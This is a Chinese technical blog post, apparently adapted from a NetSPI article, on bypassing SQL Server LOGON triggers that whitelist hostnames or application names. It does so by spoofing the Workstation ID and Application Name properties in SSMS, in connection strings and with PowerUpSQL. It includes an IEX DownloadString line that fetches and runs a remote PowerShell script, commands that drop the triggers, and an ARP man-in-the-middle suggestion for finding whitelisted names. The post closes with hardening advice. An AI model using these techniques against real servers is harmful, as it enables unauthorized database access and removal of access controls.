看到有一些管理员用LOGON触发器来控制对服务器的访问。这种情况经常遇到,就写个文章记录一下把。
CREATE TRIGGER RestrictAccessPerHostname ON ALL SERVER FOR LOGON AS BEGIN IF ( HOST_NAME() NOT IN ('tuifei1','tuifei2','tuifei3','tuifei4','tuifei5') ) BEGIN RAISERROR('You cannot connect to SQL Server from this machine', 16, 1); ROLLBACK; END END
上面代码检查‘host_name’是否有传入连接,如果不在列表中,则不允许登录。
遇到这种其实真的很简单,我们看一下netspi的一篇文章就写的特别很详细了。
SSMS伪造主机名
在SSMS中打开“Connect Object Explorer”
并导航到“Additional Connection Parameters”选项。
我们可以在这里即时设置连接字符串属性(超酷)。
对于这个例子来说,我们将“Workstation ID”属性设置为“DevBox”,它是白名单中的一个主机名。
注意:稍后我会介绍几种识别白名单中的主机名的方法。
单击连接按钮进行登录。打开一个查询窗口并重新检查主机名,这时将会变成“DevBox”。这进一步说明我们成功欺骗了主机名检测机制。
- SELECT HOST_NAME()
使用连接字符串伪造主机名
实际上,SSMS只是使用”workstation id”属性集建立一个连接字符串。下面是一个连接字符串的例子,它会以当前Windows用户的身份连接到远程SQL Server实例,并选择“Master”数据库。
Data Source=server\instance1;Initial Catalog=Master;Integrated Security=True;
如果我们在上一节中展示的登录触发器已经生效的话,我们应该看到“failed to connect”消息。 但是,如果将“Workstation ID”属性设置为白名单中的主机名,就能顺利登录。
Data Source=server\instance1;Initial Catalog=Master;Integrated Security=True;Workstation ID = DevBox;
使用PowerUpSQL伪造主机名
此外,我还为PowerUpSQL的Get-SQLQuery函数添加了“WorkstationId”选项。一旦我找到更多时间,我将努力改进其他函数。现在,我们将通过一个示例演示如何绕过前一节中创建的登录触发器。
打开Powershell,并使用自己喜欢的方式加载PowerUpSQL。下面的例子显示了如何直接从GitHub加载PowerUpSQL。
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")
由于触发限制,初始连接将会失败。请注意,为了查看服务器返回的错误,需要设置“-ReturnError”标志。
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Query "SELECT host_name()" -ReturnError
现在,将workstationid选项设置为“DevBox”,这样就能够成功执行查询了
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Query "SELECT host_name()" -WorkstationId "DevBox"
要删除该触发器,可以执行下列命令。
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -WorkstationId "DevBox" -Query 'DROP TRIGGER MyHostsOnly on all server'
创建登录触发器来限制应用程序
以下是在家庭实验室中设置触发器的方法,该触发器根据连接的应用程序的名称来限制访问。
使用SSMS以sysadmin身份登录到新的SQL Server实例。
首先,让我们使用下面的命令查看连接到SQL Server实例的应用程序的名称。这时,它会返回“Microsoft SQL Server Management Studio – Query”。
SELECT APP_NAME()
创建一个登录触发器来限制对特定应用程序的访问。然后,严格按照如下所示方法执行该触发器。
CREATE TRIGGER MyAppsOnly ON ALL SERVER FOR LOGON AS BEGIN IF ( -- Set the white list of application names here APP_NAME() NOT IN ('Application1','Application2','SuperApp3000','LegacyApp','DevApp1') ) BEGIN RAISERROR('You are not allowed to login from this application name.', 16, 1); ROLLBACK; END END
设置登录触发器后,当您尝试再次使用SSMS登录时,应该会出现类似以下的错误,因为您是从不在白名单上的应用程序进行连接的
使用SSMS欺骗应用程序名称
在SSMS中打开“连接对象资源管理器”,然后导航至选项->“其他连接参数”。在这里,您可以即时设置连接字符串属性(超级酷)。在本示例中,我们将“应用程序名称”属性设置为“ SuperApp3000”,这是我们知道的白名单中的应用程序名称。注意:稍后将介绍几种识别白名单中的应用程序名称的方法。
按连接登录。如果打开查询窗口并再次检查您的应用程序名称,它将返回“ SuperApp3000”。这有助于进一步说明我们成功欺骗了主机名。
- SELECT APP_NAME()
使用连接字符串欺骗应用程序名称
正如在上一节中提到的那样,存在一个名为“AppName”的连接字符串属性,应用程序可以使用它将其应用程序名称提交给SQL Server,例如
Data Source=server\instance1;Initial Catalog=Master;Integrated Security=True; Application Name =MyApp" Data Source=server\instance1;Initial Catalog=Master;Integrated Security=True; ApplicationName =MyApp" Data Source=server\instance1;Initial Catalog=Master;Integrated Security=True; AppName =MyApp"
使用PowerUpSQL伪造应用程序名称
为了演示应用程序名称欺骗场景,我更新了PowerUpSQL的Get-SQLQuery函数,使其包含“appname”选项。一旦我能够挤出更多时间,我将努力改进其他函数。
打开Powershell并通过自己喜欢的方法加载PowerUpSQL。下面的例子演示了如何直接从GitHub加载它。
- IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")
PowerUpSQL函数包装.NET SQL Server函数。使用.NET以编程方式连接到SQL Server时,默认情况下,“ appname”属性设置为“ .Net SqlClient数据提供程序”。但是,由于我们创建了一个新的登录触发器,该触发器通过“ appname”来限制访问,因此,我们应该得到以下错误
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Query "SELECT app_name()" -ReturnError
现在,将“ appname”属性设置为“ SuperApp3000”,您应该能够成功执行查询。
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Query "SELECT app_name()" -AppName SuperApp3000
删除触发器,您可以发出以下命令。
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -AppName SuperApp3000 -Query 'DROP TRIGGER MyAppsOnly on all server'
现在,您可以连接而不必欺骗应用程序名称。
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Query 'SELECT APP_NAME()'
或者,您也可以通过欺骗任何应用程序名称
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -AppName EvilClient -Query 'SELECT APP_NAME()'
查找白名单中的主机名和应用程序名称
如果您不确定登录触发器的白名单中包含哪些主机名和应用程序,则以下是一些盲目发现它们的选项。
查看登录触发器源代码
要获得由登录触发器列出的白色的主机名和应用程序的完整列表,最好的方法是查看源代码。但是,在大多数情况下,这需要特权访问。
SELECT name, OBJECT_DEFINITION(OBJECT_ID) as trigger_definition, parent_class_desc, create_date, modify_date, is_ms_shipped, is_disabled FROM sys.server_triggers ORDER BY name ASC
查看应用程序代码查找硬编码的的主机名和应用程序
有时白名单中的主机名和应用程序会被硬编码到应用程序中。如果您正在处理.NET或Java应用程序,则可以通过反编译,并查找与正在使用的连接字符串相关的关键字来定位有关源代码。这种方法假定您可以访问应用程序程序集或配置文件。这时,JD-GUI和DNSPY将会派上用场。
考察应用流量
有时,白名单中的主机名和应用程序,是应用程序启动时从数据库服务器中抓取的。因此,您可以使用您最喜爱的嗅探器来获取白名单中的主机名和应用程序。我有过几次这样的经历。你可能会问,为什么会有人这么做? 别人可能永远不会知道答案。
使用域系统列表
如果您已经拥有域帐户,则可以查询Active Directory以获取域计算机的列表。然后,您可以遍历列表,从而找出允许连接的列表。当然,这里假定当前域用户有权登录到SQL Server,并且白名单列出的主机名与域相关联。
使用MITM记录连接
我们还可以通过基于ARP的中间人(MITM)攻击来拦截从远程系统到SQL Server的连接。如果连接已加密(自SQL Server 2014以来,都会默认进行加密),虽然看不到流量内容,但能够看到已经连接了哪些主机。当然,我们也可以使用MITM技术。
警告:如果攻击过程正在验证登陆凭证,可能会导致数据包丢失,并对生产系统产生严重影响,因此请谨慎使用该方法。
一般建议
使用登录触发器时,不要根据客户端可以轻松修改的信息来限制对SQL Server的访问。
如果您希望使用白名单技术限制系统访问,请考虑使用网络或主机级防火墙规则,而不是登录触发器。
考虑根据用户组和访问权限来限制对SQL Server的访问,而不是使用登录触发器。